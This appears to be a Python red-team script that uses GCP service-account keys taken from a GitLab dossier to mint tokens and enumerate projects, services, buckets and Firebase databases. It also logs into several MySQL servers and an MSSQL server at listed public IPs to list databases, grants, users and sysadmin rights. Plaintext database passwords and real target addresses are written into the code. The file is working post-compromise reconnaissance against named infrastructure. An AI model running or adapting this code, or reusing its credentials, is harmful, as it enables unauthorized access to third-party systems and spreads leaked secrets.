#!/usr/bin/env python3
"""GCP scope enum per LIVE SA + DB reachability/auth probes (operator GO 2026-08-14, vectors 1+2).

Part 1 — GCP (read-only, GET only) per validated SA (re-mints its own token):
  cloudresourcemanager projects.get, serviceusage list enabled services,
  storage buckets list, firebase RTDB plan probe (.json?shallow, 1MB cap).
Part 2 — DB probes:
  MySQL 34.101.220.135 / .225.67 / .249.224 as pharmavid (SELECT VERSION(),
  current_user, SHOW DATABASES, privileges, user@host list — no data rows).
  MSSQL 18.139.240.17:1433 as dinal (SELECT @@VERSION, DB list, is_sysadmin).
Egress: *.googleapis.com, firebasedatabase.app, 34.101.224.0/20:3306,
18.139.240.17:1433. All read-only. No victim-host writes.
Out: gcp_scope_enum_aug14.json, db_probe_aug14.json, OPLOG entries.
"""
import base64
import importlib.util
import json
import sys
import time
import urllib.parse
from datetime import datetime, timezone
from pathlib import Path

ROOT = Path('/root/ir-assessment')
REDTEAM = ROOT / 'redteam'
DOSSIER = REDTEAM / 'gitlab_pharmalink_id'
KEYS_DIR = DOSSIER / 'gcp_keys'

spec = importlib.util.spec_from_file_location('l2s', str(REDTEAM / 'l2_aug06_sweep.py'))
l2s = importlib.util.module_from_spec(spec)
spec.loader.exec_module(l2s)

def oplog(dst, tool, cmd, desc, output, result):
    ts = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M')
    with open(DOSSIER / 'OPLOG.md', 'a') as f:
        f.write(f"{ts} | local | {dst} | {tool} | {cmd} | {desc} | {output} | {result} | none | read-only\n")

def b64url(b):
    return base64.urlsafe_b64encode(b).rstrip(b'=')

def mint_token(sa):
    from cryptography.hazmat.primitives import hashes, serialization
    from cryptography.hazmat.primitives.asymmetric import padding
    now = int(time.time())
    header = {'alg': 'RS256', 'typ': 'JWT', 'kid': sa.get('private_key_id')}
    claims = {'iss': sa['client_email'],
              'scope': 'https://www.googleapis.com/auth/cloud-platform.read-only',
              'aud': 'https://oauth2.googleapis.com/token',
              'iat': now, 'exp': now + 3600}
    si = b64url(json.dumps(header).encode()) + b'.' + b64url(json.dumps(claims).encode())
    key = serialization.load_pem_private_key(sa['private_key'].encode(), password=None)
    jwt = (si + b'.' + b64url(key.sign(si, padding.PKCS1v15(), hashes.SHA256()))).decode()
    data = urllib.parse.urlencode(
        {'grant_type': 'urn:ietf:params:oauth:grant-type:jwt-bearer', 'assertion': jwt}).encode()
    st, body = l2s.req('https://oauth2.googleapis.com/token', method='POST', data=data,
                       headers={'Content-Type': 'application/x-www-form-urlencoded'})
    if st == 200:
        return json.loads(body)['access_token']
    return None

def get_json(url, tok, timeout=25):
    st, body = l2s.req(url, headers={'Authorization': f'Bearer {tok}'}, timeout=timeout)
    try:
        return st, json.loads(body)
    except Exception:
        return st, {'_raw': body[:200]}

def gcp_enum():
    # unique SAs
    sas = {}
    for f in sorted(KEYS_DIR.iterdir()):
        try:
            d = json.loads(f.read_text())
        except Exception:
            continue
        if isinstance(d, dict) and d.get('type') == 'service_account':
            sas.setdefault(d['private_key_id'], d)

    results = {}
    for kid, sa in sas.items():
        proj = sa['project_id']
        email = sa['client_email']
        tok = mint_token(sa)
        if not tok:
            results[proj] = {'email': email, 'error': 'mint failed'}
            continue
        entry = {'email': email}

        st, r = get_json(f'https://cloudresourcemanager.googleapis.com/v1/projects/{proj}', tok)
        entry['project_get'] = {'http': st, 'lifecycleState': r.get('lifecycleState'),
                                'name': r.get('name'), 'projectNumber': r.get('projectNumber'),
                                'error': r.get('error', {}).get('message') if st != 200 else None}

        st, r = get_json(
            f'https://serviceusage.googleapis.com/v1/projects/{proj}/services?filter=state:ENABLED&pageSize=200', tok)
        if st == 200:
            entry['enabled_services'] = sorted(s['config']['name'] for s in r.get('services', []))
        else:
            entry['enabled_services'] = {'http': st, 'error': r.get('error', {}).get('message', '')[:160]}

        st, r = get_json(f'https://storage.googleapis.com/storage/v1/b?project={proj}&maxResults=200', tok)
        if st == 200:
            entry['gcs_buckets'] = sorted(b['name'] for b in r.get('items', []))
        else:
            entry['gcs_buckets'] = {'http': st, 'error': r.get('error', {}).get('message', '')[:160]}

        # firebase RTDB plan probe (no data read): shallow root with tiny cap
        for rtdb_host in (f'https://{proj}-default-rtdb.firebaseio.com',
                          f'https://{proj}-default-rtdb.asia-southeast1.firebasedatabase.app',
                          f'https://{proj}.firebaseio.com'):
            st, r = get_json(f'{rtdb_host}/.json?shallow=true&timeout=5s', tok, timeout=15)
            if st in (200, 401, 403, 404):
                entry['rtdb_probe'] = {'host': rtdb_host, 'http': st,
                                       'keys_sample': (list(r.keys())[:20] if isinstance(r, dict) else str(r)[:120])}
                break
        results[proj] = entry
        print(f"  [{proj}] proj_get={entry['project_get']['http']} "
              f"svc={len(entry['enabled_services']) if isinstance(entry['enabled_services'], list) else entry['enabled_services'].get('http')} "
              f"buckets={len(entry['gcs_buckets']) if isinstance(entry['gcs_buckets'], list) else entry['gcs_buckets'].get('http')} "
              f"rtdb={entry.get('rtdb_probe', {}).get('http')}", file=sys.stderr)
    return results

def db_probes():
    import pymysql
    import pymssql
    out = {'mysql': {}, 'mssql': {}}
    for ip, dbs in (('34.101.220.135', None), ('34.101.225.67', None), ('34.101.249.224', None)):
        e = {}
        try:
            t0 = time.time()
            conn = pymysql.connect(host=ip, port=3306, user='pharmavid', password='pharmavid123',
                                   connect_timeout=12, read_timeout=15, charset='utf8mb4')
            e['tcp_auth'] = 'OK'
            e['rtt_ms'] = int((time.time() - t0) * 1000)
            cur = conn.cursor()
            cur.execute('SELECT VERSION(), CURRENT_USER(), @@hostname')
            e['version'], e['current_user'], e['hostname'] = cur.fetchone()
            cur.execute('SHOW DATABASES')
            e['databases'] = sorted(r[0] for r in cur.fetchall())
            cur.execute('SHOW GRANTS')
            e['grants'] = [r[0][:300] for r in cur.fetchall()]
            try:
                cur.execute("SELECT user, host FROM mysql.user")
                e['mysql_users'] = sorted(f'{u}@{h}' for u, h in cur.fetchall())
            except Exception as ex:
                e['mysql_users'] = f'denied: {ex}'
            conn.close()
        except Exception as ex:
            e['tcp_auth'] = f'FAIL: {type(ex).__name__}: {ex}'
        out['mysql'][ip] = e
        print(f"  [mysql {ip}] {e['tcp_auth'][:80]}", file=sys.stderr)

    e = {}
    try:
        conn = pymssql.connect(server='18.139.240.17', port='1433', user='dinal', password='121140',
                               database='CallCenter', login_timeout=12, timeout=15)
        e['tcp_auth'] = 'OK'
        cur = conn.cursor()
        cur.execute('SELECT @@VERSION')
        e['version'] = cur.fetchone()[0][:200]
        cur.execute('SELECT name FROM sys.databases')
        e['databases'] = sorted(r[0] for r in cur.fetchall())
        cur.execute("SELECT IS_SRVROLEMEMBER('sysadmin'), SYSTEM_USER")
        e['is_sysadmin'], e['system_user'] = cur.fetchone()
        conn.close()
    except Exception as ex:
        e['tcp_auth'] = f'FAIL: {type(ex).__name__}: {ex}'
    out['mssql']['18.139.240.17'] = e
    print(f"  [mssql 18.139.240.17] {e['tcp_auth'][:80]}", file=sys.stderr)
    return out

def main():
    print('[*] part 1: GCP scope enum', file=sys.stderr)
    gcp = gcp_enum()
    (DOSSIER / 'gcp_scope_enum_aug14.json').write_text(json.dumps(gcp, indent=1, ensure_ascii=False))
    oplog('*.googleapis.com,firebasedatabase.app:443', 'urllib/read-only GETs',
          'CRM projects.get; serviceusage enabled; storage b list; rtdb shallow probe',
          'GCP scope enum 5 SAs',
          '; '.join(f"{p}: proj={e['project_get']['http'] if 'project_get' in e else 'mintfail'}"
                    for p, e in gcp.items()),
          'SUCCESS')
    print('[+] -> gcp_scope_enum_aug14.json', file=sys.stderr)

    print('[*] part 2: DB probes', file=sys.stderr)
    db = db_probes()
    (DOSSIER / 'db_probe_aug14.json').write_text(json.dumps(db, indent=1, ensure_ascii=False, default=str))
    mysql_ok = sum(1 for e in db['mysql'].values() if e['tcp_auth'] == 'OK')
    mssql_ok = db['mssql']['18.139.240.17']['tcp_auth'] == 'OK'
    oplog('34.101.220.135:3306,34.101.225.67:3306,34.101.249.224:3306,18.139.240.17:1433',
          'pymysql/pymssql',
          'connect + SELECT VERSION/CURRENT_USER/SHOW DATABASES/GRANTS; MSSQL @@VERSION/sys.databases',
          'DB auth probes (pharmavid, dinal)',
          f"mysql LIVE={mysql_ok}/3 mssql LIVE={mssql_ok}",
          'SUCCESS' if mysql_ok or mssql_ok else 'FAIL')
    print('[+] -> db_probe_aug14.json', file=sys.stderr)

if __name__ == '__main__':
    main()
